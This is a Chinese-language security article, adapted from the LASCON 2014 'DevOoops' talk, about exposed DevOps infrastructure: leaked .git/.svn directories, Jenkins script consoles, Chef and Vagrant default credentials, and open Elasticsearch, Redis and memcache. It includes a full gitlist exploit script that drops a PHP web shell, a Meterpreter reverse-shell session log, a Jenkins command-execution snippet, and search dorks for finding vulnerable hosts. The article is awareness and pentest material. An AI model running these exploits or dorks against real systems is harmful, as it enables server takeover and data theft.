被忽视的开发安全问题(DevOoops)

2015-01-01 18,182

0x00 背景

本文是为了揭示那些被忽视的开发安全问题,主要针对基础设施部署环境,基础解决方案包括(内部、外部、云环境)。

0x01 攻击面

GitHub Fun

版本控制工具(Revision Control Tools)

持续集成工具(Continuous Integration Tools)

aws config files

客户端配置工具(Client Provisioning Tools)

elasticsearch

内存数据库(In-Memory Databases)

Problems

0x02 GitHub Fun

github信息泄漏:

github支持较为较为强大的搜索语法,通过这些搜索语法,通过github可以搜索到一些常规方法无法搜索的内容,如搜索内部项目、密码,ssh私钥等。【SP小编提示:搜索内网域名惊喜更多,当然你得知道目标内网域名】

Conviso Research and Development Team编写了个较为详细的github语法搜索文章,可以通过http://blog.conviso.com.br/2013/06/github-hacking-for-fun-and-sensitive.html 查阅。

如搜索mysqldump 备份的sql文件,可使用extension:mysqldump sql来搜索。

mysqldump

 

另外还可以通过github来查找代码安全问题,如输入规则:extension:php mysql_query $_GET,可以搜索到大量包含mysql_query $_GET的请求,可以有针对性的进行代码审计。

mysql_query

 

git 娱乐:

github 是否能让我们冒充其他用户呢?让我们试下成为linus,通过邮件组收集下大神的邮箱信息。

lascon-2014-devooops-9-1024

 

 

通过github 可以搜索到linus的commit记录。

lascon-2014-devooops-10-1024

 

 

结果linus大神的commit记录出现在了我们的repo源。

lascon-2014-devooops-11-1024

 

 

该问题后的总结,审计谁可以访问到你的repos ; 启用github双因素认证。

 

0x03 版本控制工具(Revision Control Tools)

git配置不当:

如果.git文件夹暴露在外网服务器上,攻击者可以通过.git下载所有的代码,当前前提是目录可被遍历,如果能遍历可以简单的获取到源代码。

接着执行。

lascon-2014-devooops-16-1024

通过在google中输入查询语句,*".git" intitle:"Index of”,可以找到几千条记录。

lascon-2014-devooops-17-1024

 

通过Google找到了一台配置错误的机器,看我们可以访问到.git目录

lascon-2014-devooops-18-1024

 

上边这些代码,都可以被我们下载到。如果目录没有开放遍历,可以检测.git/config

谷歌搜索:"*.git/config" intitle:"Index of"

.git_index

 

使用dvcs-pillage or dvs-ripper 下载源代码,dvcs-pillage 也支持HG和GZR文件格式。

.git 泄漏你可以获取哪些东西呢,包括配置文件,源代码,开发者姓名、公钥、邮箱地址等,repo记录,漏洞漏洞删除的修复记录、密码、私钥等信息,wordpress配置文件,站点数据库备份在.git,会话密钥等。

 

svn配置不当:

svn1.6之前的版本,通过访问.svn/.entries,可以下载到svn里的代码,比如案例: WooYun: 乐视某分站源码泄漏

在metasploit里有利用程序,对应的利用模块是:

auxiliary/scanner/http/svn_scanner

 

svn1.7之后的版本,通过访问.svn/wc.db ,存在一个SQLite数据库文件里面,对应的metasploit模块也是有利用程序的,对应的modules是:

auxiliary/scanner/http/svn_wcdb_scanner

 

 

gitlist:

通过google 搜索关键字,powered by gitlist,可以看到可以搜索到的记录数为: 64,000,000 条结果。

lascon-2014-devooops-24-1024

 

在gitlist 0.4.0及之前版本存在远程代码执行漏洞,漏洞CVE版本号为CVE-2014-4511,该漏洞利用方式为:

""`whoami`

,通过执行该命令可以导致gitlist出现未知错误。

lascon-2014-devooops-25-1024

 

在2014年6月29号的时候, 该文章对这个远程代码执行漏洞进行了详细讲解并且给出了漏洞利用代码。

博客地址:http://hatriot.github.io/blog/2014/06/29/gitlist-rce/ 通过该利用程序可以将php木马写入到gitlist目录中,从而获取权限服务器

msf里面集成了gitlist_rce exploit

msf exploit(gitlist_rce) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.6:4444 
[*] Injecting payload...
[*] Executing payload..
[*] Sending stage (39848 bytes) to 192.168.1.67
[*] Meterpreter session 9 opened (192.168.1.6:4444 -> 192.168.1.67:34241) at 2014-06-21 23:07:01 -0600

meterpreter > sysinfo
Computer    : bryan-VirtualBox
OS          : Linux bryan-VirtualBox 3.2.0-63-generic #95-Ubuntu SMP Thu May 15 23:06:36 UTC 2014 i686
Meterpreter : php/php
meterpreter >

lascon-2014-devooops-26-1024

 

python版利用代码:

from commands import getoutput
import urllib
import sys

""" 
Exploit Title: Gitlist <= 0.4.0 anonymous RCE
Date: 06/20/2014
Author: drone (@dronesec)
Vendor Homepage: http://gitlist.org/
Software link: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz
Version: <= 0.4.0
Tested on: Debian 7
More information: 
cve: CVE-2014-4511
"""

if len(sys.argv) <= 1:
    print '%s: [url to git repo] {cache path}' % sys.argv[0]
    print '  Example: python %s http://localhost/gitlist/my_repo.git' % sys.argv[0]
    print '  Example: python %s http://localhost/gitlist/my_repo.git /var/www/git/cache' % sys.argv[0]
    sys.exit(1)

url = sys.argv[1]
url = url if url[-1] != '/' else url[:-1]

path = "/var/www/gitlist/cache"
if len(sys.argv) > 2:
    path = sys.argv[2]

print '[!] Using cache location %s' % path

# payload <?system($_GET['cmd']);?>
payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="

# sploit; python requests does not like this URL, hence wget is used
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
mpath = url+ urllib.quote(mpath)

out = getoutput("wget %s" % mpath)
if '500' in out:
    print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
else:
    print '[-] Failed to drop'
    print out

 

 

利用方式:

root@droot:~/exploits# python gitlist_rce.py http://192.168.1.67/gitlist/graymatter
[!] Using cache location /var/www/gitlist/cache
[!] Shell dropped; go hit http://192.168.1.67/gitlist/cache/x.php?cmd=ls
root@droot:~/exploits# curl http://192.168.1.67/gitlist/cache/x.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
root@droot:~/exploits#

 

0x04 持续集成工具(Continuous Integration Tools)

hudson是jenkins的前身,是基于Java开发的一种持续集成工具,用于监控程序重复的工作,Jenkins是一个开源软件项目,旨在提供一个开放易用的软件平台,使持续集成变成可能。

通过Google Hacking方法,将hudson输入到shodan中进行搜索,可以发现大量使用hudson的服务器,如下图hudson搜索结果。

搜索方式:

http://www.shodanhq.com/search?q=X-Hudson

 

X-Hudson

 

jenkins搜索结果。

搜索方式:

http://www.shodanhq.com/search?q=X-Jenkins
or

http://www.shodanhq.com/search?q=X-Jenkins+HTTP%2F1.0+200

X-Jenkins

安全脉搏的《知其一不知其二之Jenkins Hacking》 讲述的非常详尽。

在Jenkins如果缺少认证,直接访问/script 进行命令执行

lascon-2014-devooops-34-1024

 

老外比较喜欢这样用:

def sout = new StringBuffer(), serr = new StringBuffer()
 
def proc = 'whomai'.execute()
 
proc.consumeProcessOutput(sout, serr)
 
proc.waitForOrKill(1000)
 
println "out> $sout err> $serr"

如果有验证 你可以注册一个账户 然后访问/script

 

如果你可以访问/view/ALL/newJob 来新建一个build然后执行恶意代码如下图:

lascon-2014-devooops-38-1024

你能访问workspace吗?

lascon-2014-devooops-39-1024

 

你会惊喜的发现很多数据库配置,秘钥之类 这样的信息收集对后续攻击大有裨益

lascon-2014-devooops-40-1024 lascon-2014-devooops-41-1024

另外也可以使用metasploit来进行渗透测试。

lascon-2014-devooops-31-1024

 

通过metasploit来进行利用,可以获取目标服务器权限。

 

lascon-2014-devooops-35-1024

 

参考:https://www.pentestgeek.com/2014/06/13/hacking-jenkins-servers-with-no-password/

 

0x05 aws config files

AWS 命令行界面 (CLI) 是用于管理 AWS 服务的统一工具。只通过一个工具进行下载和配置,您可以使用命令行控制多个 AWS 服务并利用脚本来自动执行这些服务。

aws使用aws商店以明文存储在hiddle字段里面,这是典型的特权访问。

lascon-2014-devooops-44-1024 lascon-2014-devooops-45-1024

 

0x06 客户端配置工具(Client Provisioning Tools)

Chef:

Chef是由Ruby与Erlang写成的配置管理软件,它以一种纯Ruby的领域专用语言(DSL)保存系统配置“食谱(recipes)”或“做饭书(cookbooks)”。

Chef由Opscode公司开发,并在Apache协议版本2.0下开源发布。Chef可在主从式架构之下运行,亦可在名为“chef-solo”的集成配置之下运行。

通过shodanhq来搜索下“chef server" 可以找到较多运行该服务的服务器。

chef server

 

 

Chef 1)默认口令(p@ssw0rd1)和弱口令   Default/Weak Creds

通过查看chef上可以看到登录的帐号密码,即可完成登录,可以看到较多敏感信息!所以一定要记得修改默认密码p@ssw0rd1。

lascon-2014-devooops-49-1024

chef_server

Chef 2)信息泄露   Environment Leakage

lascon-2014-devooops-50-1024

 

Chef 3)信息泄露   Databags

lascon-2014-devooops-51-1024

 

knife 是一个chef命令行实用工具,可以加密及存储数据包凭证,使用方法例如:

knife data bag list
knife data bag show drupal

 

lascon-2014-devooops-53-1024

 

chef/knife 加密数据包:

lascon-2014-devooops-54-1024

 

knife data bag show drupal --secret-file path/to/file

lascon-2014-devooops-55-1024

 

 

Vagrant:

你知道如何修改你的ssh keys吗?

lascon-2014-devooops-56-1024

Vagrant有默认口令:

1)root/vagrant 或 vagrant/vagrant

2)sudo不需要密码

可以使用metasploit来扫描默认key,如图:

lascon-2014-devooops-58-1024

lascon-2014-devooops-59-1024

根据ssh版本识别是蜜罐还是真实的

lascon-2014-devooops-60-1024

 

vagrant深入浅出可以参考 《Breaking in and Out of Vagrant》

“把邪恶的东西放在/vagrant/.git/hooks/post-commit并等待用户提交一些代码,从用户挂载/vagrant目录开始,钩子就一直在运行,即使用户销毁了VM。”

 

kickstart files:

在kickstart中有3种办法重置root密码:

1、安装过程中

2、在kickstart文件加密的哈希"rootpw --iscrypted"

3、在kickstart文件明文" rootpw --plaintext"

举例如下:

lascon-2014-devooops-63-1024

lascon-2014-devooops-64-1024

 

0x07 elasticsearch

elasticSearch是一个基于Lucene构建的开源,分布式,RESTful搜索引擎。设计用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便。

elasticsearch 本身没有访问控制(SP小编提醒:可以安装Http Basic插件),任何通过http api搜索es中存储的结果,可以用put请求来update存储结果。

 

elasticsearch启动默认端口为9200,可以看到集群版本信息如图:

elasticsearch

elasticsearch早于1.2.0版本中存在远程代码执行漏洞,cve版本号为:CVE-2014-3120

elasticsearch_hacking

 

使用metasploit溢出存在漏洞的集群,成功获取权限。

exploit/multi/elasticsearch/script_mvel_rce

lascon-2014-devooops-68-1024

 

elasticsearch自带一个Kibana图表展示 非常方便

lascon-2014-devooops-70-1024

 

0x08 内存数据库(In-Memory Databases)

redis

redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)

redis没有加密方式,监听6379 tcp端口,默认redis如果没有指向监听内网地址,而对外开放,外网攻击者可以直接访问该数据库。

通过shodan来搜索redis:6379 关键字,可以获取大量redis信息:

redis

 

随机找一条,可以正常登录,使用redis-cli工具 可以指向需要连接的redis ip地址。

lascon-2014-devooops-76-1024

 

redis_cli

 

或者使用Redis Desktop Manager

lascon-2014-devooops-77-1024

 

 

lascon-2014-devooops-79-1024

memcache:

memcache 是一种分布式缓存服务器,和通常使用的非分布式的ecache不同,memcache需要独立的服务器支撑,客户端通过配置IP地址和端口号(默认11211)与之连接并使用API进行数据的缓存操作。

memcached未作IP限制导致缓存数据可被攻击者控制,可被攻击者控制,通过连接上后可获取敏感信息,如图:

nc_memcache

 

lascon-2014-devooops-83-1024

0x09 结语

通过这些案例,让我们知道,其实安全问题不止来源于web问题,安全问题更来自于运维安全,运维和运维安全的好弱是衡量一个公司安全的基础!

 

【原文:lascon-2014-devooops 原作者:Ken Johnson  翻译:winsyk  SP小编整理添加编辑排版发布】

本文作者:SP小编

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/3604.html

Tags:
评论  (0)
快来写下你的想法吧!

SP小编

文章数:209 积分: 25

交流和分享以及愉快的玩耍

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号